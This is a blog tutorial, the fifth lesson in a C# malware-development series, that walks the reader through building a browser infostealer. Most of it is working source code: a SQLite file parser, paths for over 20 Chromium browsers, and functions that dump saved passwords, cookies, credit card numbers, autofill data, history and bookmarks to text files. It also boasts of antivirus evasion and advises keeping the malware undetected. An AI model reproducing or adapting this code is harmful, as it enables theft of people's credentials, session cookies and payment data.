Lesson 5: Browser Theft in Malware Development

👾 Malware Development Series by XIT (C#)

XIT
14 min readMar 27, 2023

Follow XIT on medium & UglyCompany on Telegram for more..

Below is the Topics List for Lesson 5:

5. Browser Theft:
⇢ Browser Password Theft
⇢ Browser Cookies Theft
⇢ Browser Data Theft (Credit Cards, AutoFills, History, Bookmarks, Downloads)
⇢ Adding Support to more 15+ Browsers

Stealing sensitive information from web browsers is one of many malware program’s key objectives. In our recent lessons we covered Hardware & Network Theft along with the Filtration process, which falls under System part. Now we will be getting towards the Browser part so first of all create a new subfolder named as ‘Browser’ inside the Modules folder and start with the below topics. There are more than 15 popular web browsers that users may be using. We’ll also add support for these browsers in our malware tool, increasing its effectiveness and reach.

We will cover the below chromium based browsers in this lesson:

(you can even add support to more browsers later)

✔️ Opera

✔️ Google Chrome

✔️ Chromium

✔️ Brave

✔️ Epic Privacy Browser

✔️ Amigo

✔️ Vivaldi

✔️ Orbitum

✔️ Mail.Ru Atom

✔️ Kometa

✔️ Comodo Dragon

✔️ Torch

✔️ Comodo

✔️ Slimjet

✔️ 360Browser

✔️ Maxthon3

✔️ K-Melon

✔️ Sputnik

✔️ Nichrome

✔️ CocCoc Browser

✔️ uCozMedia Uran

✔️ Chromodo

✔️ Yandex Browser

Before we get started, lets create a new folder called ‘Helpers’ inside ‘Browser’ folder. We will add 2 class files inside this folder. First is the SQL.cs file which will help us to read and retrieve data from the browser database. Second is the Paths.cs file which contains the Paths to browsers. Also we will use the external class file SimpleJSON.cs to Parse the bookmarks data.

SQL.cs source-code: (place it inside the internal class inside namespace)

// sql
private readonly byte[] _DTSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
private readonly ulong _DTenco;
private readonly byte[] _fBytes;
private readonly ulong _pgSize;
private string[] _colName;
private SqliteMasterEntry[] _masterDT;
private TableEntry[] _tableDT;

public SQL(string fileName)
{
_fBytes = File.ReadAllBytes(fileName);
_pgSize = ConvertToULong(16, 2);
_DTenco = ConvertToULong(56, 4);
ReadMasterTable(100L);
}

public string GetValue(int rowNum, int field)
{
try
{
if (rowNum >= _tableDT.Length)
return (string)null;
return field >= _tableDT[rowNum].Content.Length ? null : _tableDT[rowNum].Content[field];
}
catch
{
return "";
}
}

public int GetRowCount()
{
return _tableDT.Length;
}

private bool ReadTableFromOffset(ulong offset)
{
try
{
if (_fBytes[offset] == 13)
{
uint num1 = (uint)(ConvertToULong((int)offset + 3, 2) - 1UL);
int num2 = 0;
if (_tableDT != null)
{
num2 = _tableDT.Length;
Array.Resize(ref _tableDT, _tableDT.Length + (int)num1 + 1);
}
else
_tableDT = new TableEntry[(int)num1 + 1];
for (uint index1 = 0; (int)index1 <= (int)num1; ++index1)
{
ulong num3 = ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
if ((long)offset != 100L)
num3 += offset;
int endIdx1 = Gvl((int)num3);
Cvl((int)num3, endIdx1);
int endIdx2 = Gvl((int)((long)num3 + (endIdx1 - (long)num3) + 1L));
Cvl((int)((long)num3 + (endIdx1 - (long)num3) + 1L), endIdx2);
ulong num4 = num3 + (ulong)(endIdx2 - (long)num3 + 1L);
int endIdx3 = Gvl((int)num4);
int endIdx4 = endIdx3;
long num5 = Cvl((int)num4, endIdx3);
RecordHeaderField[] array = null;
long num6 = (long)num4 - endIdx3 + 1L;
int index2 = 0;
while (num6 < num5)
{
Array.Resize(ref array, index2 + 1);
int startIdx = endIdx4 + 1;
endIdx4 = Gvl(startIdx);
array[index2].Type = Cvl(startIdx, endIdx4);
array[index2].Size = array[index2].Type <= 9L ? _DTSize[array[index2].Type] : (!IsOdd(array[index2].Type) ? (array[index2].Type - 12L) / 2L : (array[index2].Type - 13L) / 2L);
num6 = num6 + (endIdx4 - startIdx) + 1L;
++index2;
}
if (array != null)
{
_tableDT[num2 + (int)index1].Content = new string[array.Length];
int num7 = 0;
for (int index3 = 0; index3 <= array.Length - 1; ++index3)
{
if (array[index3].Type > 9L)
{
if (!IsOdd(array[index3].Type))
{
if ((long)_DTenco == 1L)
_tableDT[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(_fBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
else if ((long)_DTenco == 2L)
{
_tableDT[num2 + (int)index1].Content[index3] = Encoding.Unicode.GetString(_fBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
}
else if ((long)_DTenco == 3L)
_tableDT[num2 + (int)index1].Content[index3] = Encoding.BigEndianUnicode.GetString(_fBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
}
else
_tableDT[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(_fBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
}
else
_tableDT[num2 + (int)index1].Content[index3] = Convert.ToString(ConvertToULong((int)((long)num4 + num5 + num7), (int)array[index3].Size));
num7 += (int)array[index3].Size;
}
}
}
}
else if (_fBytes[offset] == 5)
{
uint num1 = (uint)(ConvertToULong((int)((long)offset + 3L), 2) - 1UL);
for (uint index = 0; (int)index <= (int)num1; ++index)
{
uint num2 = (uint)ConvertToULong((int)offset + 12 + (int)index * 2, 2);
ReadTableFromOffset((ConvertToULong((int)((long)offset + num2), 4) - 1UL) * _pgSize);
}
ReadTableFromOffset((ConvertToULong((int)((long)offset + 8L), 4) - 1UL) * _pgSize);
}
return true;
}
catch
{
return false;
}
}

private void ReadMasterTable(long offset)
{
try
{
switch (_fBytes[offset])
{
case 5:
uint num1 = (uint)(ConvertToULong((int)offset + 3, 2) - 1UL);
for (int index = 0; index <= (int)num1; ++index)
{
uint num2 = (uint)ConvertToULong((int)offset + 12 + index * 2, 2);
if (offset == 100L)
ReadMasterTable(((long)ConvertToULong((int)num2, 4) - 1L) * (long)_pgSize);
else
ReadMasterTable(((long)ConvertToULong((int)(offset + num2), 4) - 1L) * (long)_pgSize);
}
ReadMasterTable(((long)ConvertToULong((int)offset + 8, 4) - 1L) * (long)_pgSize);
break;
case 13:
ulong num3 = ConvertToULong((int)offset + 3, 2) - 1UL;
int num4 = 0;
if (_masterDT != null)
{
num4 = _masterDT.Length;
Array.Resize(ref _masterDT, _masterDT.Length + (int)num3 + 1);
}
else
_masterDT = new SqliteMasterEntry[checked((ulong)unchecked((long)num3 + 1L))];
for (ulong index1 = 0; index1 <= num3; ++index1)
{
ulong num2 = ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
if (offset != 100L)
num2 += (ulong)offset;
int endIdx1 = Gvl((int)num2);
Cvl((int)num2, endIdx1);
int endIdx2 = Gvl((int)((long)num2 + (endIdx1 - (long)num2) + 1L));
Cvl((int)((long)num2 + (endIdx1 - (long)num2) + 1L), endIdx2);
ulong num5 = num2 + (ulong)(endIdx2 - (long)num2 + 1L);
int endIdx3 = Gvl((int)num5);
int endIdx4 = endIdx3;
long num6 = Cvl((int)num5, endIdx3);
long[] numArray = new long[5];
for (int index2 = 0; index2 <= 4; ++index2)
{
int startIdx = endIdx4 + 1;
endIdx4 = Gvl(startIdx);
numArray[index2] = Cvl(startIdx, endIdx4);
numArray[index2] = numArray[index2] <= 9L ? _DTSize[numArray[index2]] : (!IsOdd(numArray[index2]) ? (numArray[index2] - 12L) / 2L : (numArray[index2] - 13L) / 2L);
}
if ((long)_DTenco == 1L || (long)_DTenco == 2L)

if ((long)_DTenco == 1L)
_masterDT[num4 + (int)index1].ItemName = Encoding.Default.GetString(_fBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
else if ((long)_DTenco == 2L)
_masterDT[num4 + (int)index1].ItemName = Encoding.Unicode.GetString(_fBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
else if ((long)_DTenco == 3L)
_masterDT[num4 + (int)index1].ItemName = Encoding.BigEndianUnicode.GetString(_fBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
_masterDT[num4 + (int)index1].RootNum = (long)ConvertToULong((int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2]), (int)numArray[3]);
if ((long)_DTenco == 1L)
_masterDT[num4 + (int)index1].SqlStatement = Encoding.Default.GetString(_fBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
else if ((long)_DTenco == 2L)
_masterDT[num4 + (int)index1].SqlStatement = Encoding.Unicode.GetString(_fBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
else if ((long)_DTenco == 3L)
_masterDT[num4 + (int)index1].SqlStatement = Encoding.BigEndianUnicode.GetString(_fBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
}
break;
}
}
catch
{
}
}

public bool ReadTable(string tableName)
{
try
{
int index1 = -1;
for (int index2 = 0; index2 <= _masterDT.Length; ++index2)
{
if (string.Compare(_masterDT[index2].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0)
{
index1 = index2;
break;
}
}
if (index1 == -1)
return false;
string[] strArray = _masterDT[index1].SqlStatement.Substring(_masterDT[index1].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(',');
for (int index2 = 0; index2 <= strArray.Length - 1; ++index2)
{
strArray[index2] = strArray[index2].TrimStart();
int length = strArray[index2].IndexOf(' ');
if (length > 0)
strArray[index2] = strArray[index2].Substring(0, length);
if (strArray[index2].IndexOf("UNIQUE", StringComparison.Ordinal) != 0)
{
Array.Resize(ref _colName, index2 + 1);
_colName[index2] = strArray[index2];
}
}
return ReadTableFromOffset((ulong)(_masterDT[index1].RootNum - 1L) * _pgSize);
}
catch
{
return false;
}
}

private ulong ConvertToULong(int startIndex, int size)
{
try
{
if (size > 8 | size == 0)
return 0;
ulong num = 0;
for (int index = 0; index <= size - 1; ++index)
num = num << 8 | (ulong)_fBytes[startIndex + index];
return num;
}
catch
{
return 0;
}
}

private int Gvl(int startIdx)
{
try
{
if (startIdx > _fBytes.Length)
return 0;
for (int index = startIdx; index <= startIdx + 8; ++index)
{
if (index > _fBytes.Length - 1)
return 0;
if (((int)_fBytes[index] & 128) != 128)
return index;
}
return startIdx + 8;
}
catch
{
return 0;
}
}

private long Cvl(int startIdx, int endIdx)
{
try
{
++endIdx;
byte[] numArray = new byte[8];
int num1 = endIdx - startIdx;
bool flag = false;
if (num1 == 0 | num1 > 9)
return 0;
if (num1 == 1)
{
numArray[0] = (byte)(_fBytes[startIdx] & (uint)sbyte.MaxValue);
return BitConverter.ToInt64(numArray, 0);
}
if (num1 == 9)
flag = true;
int num2 = 1;
int num3 = 7;
int index1 = 0;
if (flag)
{
numArray[0] = _fBytes[endIdx - 1];
--endIdx;
index1 = 1;
}
int index2 = endIdx - 1;
while (index2 >= startIdx)
{
if (index2 - 1 >= startIdx)
{
numArray[index1] = (byte)(_fBytes[index2] >> num2 - 1 & byte.MaxValue >> num2 | _fBytes[index2 - 1] << num3);
++num2;
++index1;
--num3;
}
else if (!flag)
numArray[index1] = (byte)(_fBytes[index2] >> num2 - 1 & byte.MaxValue >> num2);
index2 += -1;
}
return BitConverter.ToInt64(numArray, 0);
}
catch
{
return 0;
}
}

private static bool IsOdd(long value)
{
return (value & 1L) == 1L;
}

private struct RecordHeaderField
{
public long Size;
public long Type;
}

private struct TableEntry
{
public string[] Content;
}

private struct SqliteMasterEntry
{
public string ItemName;
public long RootNum;
public string SqlStatement;
}

Paths.cs source-code: (place it inside the internal class inside namespace)

// paths
public static string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
public static string LOCAL = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\";

public static string[] Browser = new string[]
{
AppData + "Opera Software\\Opera Stable",
LOCAL + "Google\\Chrome",
LOCAL + "Google(x86)\\Chrome",
LOCAL + "Chromium",
LOCAL + "BraveSoftware\\Brave-Browser",
LOCAL + "Epic Privacy Browser",
LOCAL + "Amigo",
LOCAL + "Vivaldi",
LOCAL + "Orbitum",
LOCAL + "Mail.Ru\\Atom",
LOCAL + "Kometa",
LOCAL + "Comodo\\Dragon",
LOCAL + "Torch",
LOCAL + "Comodo",
LOCAL + "Slimjet",
LOCAL + "360Browser\\Browser",
LOCAL + "Maxthon3",
LOCAL + "K-Melon",
LOCAL + "Sputnik\\Sputnik",
LOCAL + "Nichrome",
LOCAL + "CocCoc\\Browser",
LOCAL + "uCozMedia\\Uran",
LOCAL + "Chromodo",
LOCAL + "Yandex\\YandexBrowser"
};

SimpleJSON.cs source-code: (place it inside the internal class inside namespace)

You can get the source-code for SimpleJSON.cs from the below github repository:

https://github.com/Bunny83/SimpleJSON/blob/master/SimpleJSON.cs

Now, as we have already added up the Paths to the browser and also the SQL functions to view and retrieve the data from the browser database tables, we just have to write functions for Password Theft, Cookies Theft & Data Theft. Let’s begin…

Topic 1: Browser Password Theft

Passwords are one of the most sought-after pieces of information for attackers. We’ll write a function that can steal passwords from popular web browsers as we mentioned above. Follow the steps below to write your own class file for Browser Password Theft:

  1. Create a new class file called “Passwords.cs” by right-clicking on the Browser folder inside Modules folder and selecting “New File”.
  2. Add the necessary using statements by placing the cursor at the top of the file and write the following function inside internal class file:
// password theft
public static void SAVE(string filename)
{
int counter = 0;

using (StreamWriter sw = new StreamWriter(filename))
{
foreach (string browser in Paths.Browser)
{
string Browser = Paths.GetUserData(browser) + "Login Data";
if (File.Exists(Browser))
{
string temp = Environment.GetEnvironmentVariable("temp") + "\\browserPasswords";
if (File.Exists(temp))
{
File.Delete(temp);
}
File.Copy(Browser, temp);

SQL sSQLite = new SQL(temp);
sSQLite.ReadTable("logins");

for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
string hostname = sSQLite.GetValue(i, 0);
string username = sSQLite.GetValue(i, 3);
string password = sSQLite.GetValue(i, 5);

if (string.IsNullOrEmpty(password))
{
break;
}

try
{
sw.WriteLine($"URL: {hostname} | Username: {username} | Password: {password}");
counter++;
}
catch { }

continue;
}
}
}
}

Console.WriteLine($"Found {counter} passwords data and saved in {filename}");
}

The above function will search for saved passwords in the web browsers installed on the system, extract the login information from the databases, and save them to a specified file. It will also print out the number of saved passwords to the console. Usage: SAVE(“passwords.txt”)

The output will be as follows:

Of course, the actual values will depend on your own system.

Topic 2: Browser Cookies Theft

Cookies are used by websites to store information about users, including login credentials. We’ll write a function that can steal cookies from popular web browsers as we mentioned above. Follow the steps below to write your own class file for Browser Cookies Theft:

  1. Create a new class file called “Cookies.cs” by right-clicking on the Browser folder inside Modules folder and selecting “New File”.
  2. Add the necessary using statements by placing the cursor at the top of the file and write the following function inside internal class file:
// cookies theft
public static void SAVE(string filename)
{
int counter = 0;

using (StreamWriter sw = new StreamWriter(filename))
{
foreach (string browser in Paths.Browser)
{
string Browser = Paths.GetUserData(browser) + "Cookies";
if (File.Exists(Browser))
{
string temp = Environment.GetEnvironmentVariable("temp") + "\\browserCookies";
if (File.Exists(temp))
{
File.Delete(temp);
}
File.Copy(Browser, temp);

SQL sSQLite = new SQL(temp);
sSQLite.ReadTable("cookies");

for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
string value = sSQLite.GetValue(i, 12);
string hostKey = sSQLite.GetValue(i, 1);
string name = sSQLite.GetValue(i, 2);
string path = sSQLite.GetValue(i, 4);
string expires = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(sSQLite.GetValue(i, 5))), TimeZoneInfo.Local));
string isSecure = sSQLite.GetValue(i, 6).ToUpper();

if (string.IsNullOrEmpty(name))
{
break;
}

try
{
sw.WriteLine($"{hostKey}\tTRUE\t{path}\tFALSE\t{expires}\t{Decryptor.GetUTF8(name)}\t{value}\r\n");
counter++;
}
catch { }

continue;
}
}
}
}

Console.WriteLine($"Found {counter} cookies data and saved in {filename}");
}

The above function will search for cookies in the web browsers installed on the system, extract the cookie values from the databases, and save them to a specified file. It will also print out the number of cookies to the console. Usage: SAVE(“cookies.txt”)

The output will be as follows:

Of course, the actual values will depend on your own system.

Topic 3: Browser Data Theft

Beyond passwords and cookies, there is a wealth of information that can be stolen from web browsers, including credit card information, autofills, history, bookmarks, and downloads. We’ll write separate functions that can perform the desired tasks from popular web browsers as we mentioned above. Similarly, as we did earlier; create a new class file with related name by right-clicking on the Browser folder inside Modules folder and selecting “New File”. Then write the following given functions inside internal class file for each class.

A) Credit Card Information (Cards.cs)

// cards
public static void SAVE(string filename)
{
int counter = 0;

using (StreamWriter sw = new StreamWriter(filename))
{
foreach (string browser in Paths.Browser)
{
string Browser = Paths.GetUserData(browser) + "Web data";
if (File.Exists(Browser))
{
string temp = Environment.GetEnvironmentVariable("temp") + "\\browserCreditCards";
if (File.Exists(temp))
{
File.Delete(temp);
}
File.Copy(Browser, temp);

SQL sSQLite = new SQL(temp);
sSQLite.ReadTable("credit_cards");

for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
string number = sSQLite.GetValue(i, 4);
string expYear = sSQLite.GetValue(i, 3);
string expMonth = sSQLite.GetValue(i, 2);
string name = sSQLite.GetValue(i, 1);

if (string.IsNullOrEmpty(number))
{
break;
}

//credentials.number = Crypt.decryptChrome(number, Browser);

try
{
sw.WriteLine($"CCNum: {number} | ExpMo: {expMonth} | ExpYr: {expYear} | Holder: {name}");
counter++;
}
catch { }

continue;
}
}
}
}

Console.WriteLine($"Found {counter} cards data and saved in {filename}");
}

The above function will search for saved credit card information in the web browsers installed on the system, extract the credit card details from the databases, and save them to a specified file. It will print out the number of saved credit card details to the console. Usage: SAVE(“cards.txt”)

B) Autofills (Autofills.cs)

// autofills
public static void SAVE(string filename)
{
int counter = 0;

using (StreamWriter sw = new StreamWriter(filename))
{
foreach (string browser in Paths.Browser)
{
string Browser = Paths.GetUserData(browser) + "Web data";
if (File.Exists(Browser))
{
string temp = Environment.GetEnvironmentVariable("temp") + "\\browserAutofill";
if (File.Exists(temp))
{
File.Delete(temp);
}
File.Copy(Browser, temp);

SQL sSQLite = new SQL(temp);
sSQLite.ReadTable("autofill");

for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
string name = sSQLite.GetValue(i, 0);
string value = sSQLite.GetValue(i, 1);

if (string.IsNullOrEmpty(value))
{
break;
}

try
{
sw.WriteLine($"Name: {name} | Value: {value}\t\n");
counter++;
}
catch { }

continue;
}
}
}
}

Console.WriteLine($"Found {counter} autofills data and saved in {filename}");
}

The above function saves autofill data from web browsers to a file. It loops through each browser, checks if the browser’s autofill database file exists, and if it does, it reads the autofill data and writes it to a file. The data is written in the format of “Name: {name} | Value: {value}” and the number of autofill entries found and saved is printed to the console. Usage: SAVE(“autofills.txt”)

C) History (History.cs)

// history
public static void SAVE(string filename)
{
int counter = 0;

using (StreamWriter sw = new StreamWriter(filename))
{
foreach (string browser in Paths.Browser)
{
string Browser = Paths.GetUserData(browser) + "History";
if (File.Exists(Browser))
{
string temp = Environment.GetEnvironmentVariable("temp") + "\\browserHistory";
if (File.Exists(temp))
{
File.Delete(temp);
}
File.Copy(Browser, temp);

SQL sSQLite = new SQL(temp);
sSQLite.ReadTable("urls");

for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
string url = Convert.ToString(sSQLite.GetValue(i, 1));
string title = Convert.ToString(sSQLite.GetValue(i, 2));
int visits = Int32.Parse(Convert.ToString(Convert.ToInt32(sSQLite.GetValue(i, 3)) + 1));
string time = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(sSQLite.GetValue(i, 5))), TimeZoneInfo.Local));

if (string.IsNullOrEmpty(url))
{
break;
}

try
{
sw.WriteLine($"Title: {Decryptor.GetUTF8(title)} | Host: {url} | Visits: {visits} | Date: {time}");
counter++;
}
catch { }

continue;
}
}
}
}

Console.WriteLine($"Found {counter} history data and saved in {filename}");
}

The above function saves browsing history data to a file. It first loops through a list of browsers and attempts to find the browsing history file. If found, it creates a temporary copy of the file and reads the “urls” table using an SQL object. It then iterates through each row of the table and extracts the URL, title, number of visits, and timestamp. This data is then written to the output file in a specific format. The method also keeps track of the number of records processed and displays this count when finished. Usage: SAVE(“history.txt”)

D) Bookmarks (Bookmarks.cs)

// bookmarks
public static void SAVE(string filename)
{
int counter = 0;

using (StreamWriter sw = new StreamWriter(filename))
{
foreach (string browser in Paths.Browser)
{
string Browser = Paths.GetUserData(browser) + "Bookmarks";
if (File.Exists(Browser))
{
string bookmarksFile = File.ReadAllText(Browser);
foreach (SimpleJSON.JSONNode mark in SimpleJSON.JSON.Parse(bookmarksFile)["roots"]["bookmark_bar"]["children"])
{
try
{
sw.WriteLine($"Title: {mark["name"]} | Host: {mark["url"]} | AddedOn: {Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64((string)mark["date_added"])), TimeZoneInfo.Local))}");
counter++;
}
catch { }

continue;
}
}
}
}

Console.WriteLine($"Found {counter} bookmarks data and saved in {filename}");
}

The above function saves the bookmarks data from the user’s web browsers to a file. It first checks for the presence of a bookmarks file for each supported browser, and then reads the file to extract the bookmarks data. It then writes the bookmark title, URL and date added to the file specified by the user. Finally, it prints the number of bookmarks found and saved to the console. Usage: SAVE(“bookmarks.txt”)

Yay! We successfully completed all our topics for this lesson, but something is still left over.. Correct; its the decryption part. By default the Passwords, Card Numbers & Cookie values are encrypted by the browsers. To decrypt that into normal readable format, you need to use AesGcm & Bcrypt Algorithm. That task is what you have to do on your own. It’s not that hard as you think. Refer this (https://gist.github.com/drawcode/8526741) github repository for help.

Finally, I compiled all the topics of lesson 5 & it was detected by 5 out of 26 antivirus scans. I also added the Decryptor for Passwords, Card Numbers and Cookie Values. Still it was able to bypass the popular antivirus like AVG, Avast, Kaspersky, McAfee, Avira and even the Windows Defender which is important. Below is the antivirus scan report from antiscan.me :

Remember: Don’t share your unencrypted assemblies or malware source to random antivirus scanners, use the only those which are listed on the article given below to keep your malware undetected forever:

https://x-it.medium.com/stop-killing-your-malware-learn-to-perform-safe-scans-for-self-developed-malwares-fe95480a65ed

Conclusion

To steal sensitive data from online browsers is a typical goal for malware programmes, in conclusion. This class examined how to create malware that can steal login credentials, cookies, credit card data, autofill data, history, bookmarks, and downloads from well-known web browsers. Moreover, we demonstrated how to add compatibility for more than 15 browsers. You may create malware tools that are stronger and more useful with this information. Keep an eye out for our upcoming session, in which we’ll discuss how to encrypt and transport stolen data to a distant server.

A supporter is worth a thousand followers. 😊

--

--

XIT

SHHH! The voice of none is stronger than the voice of one.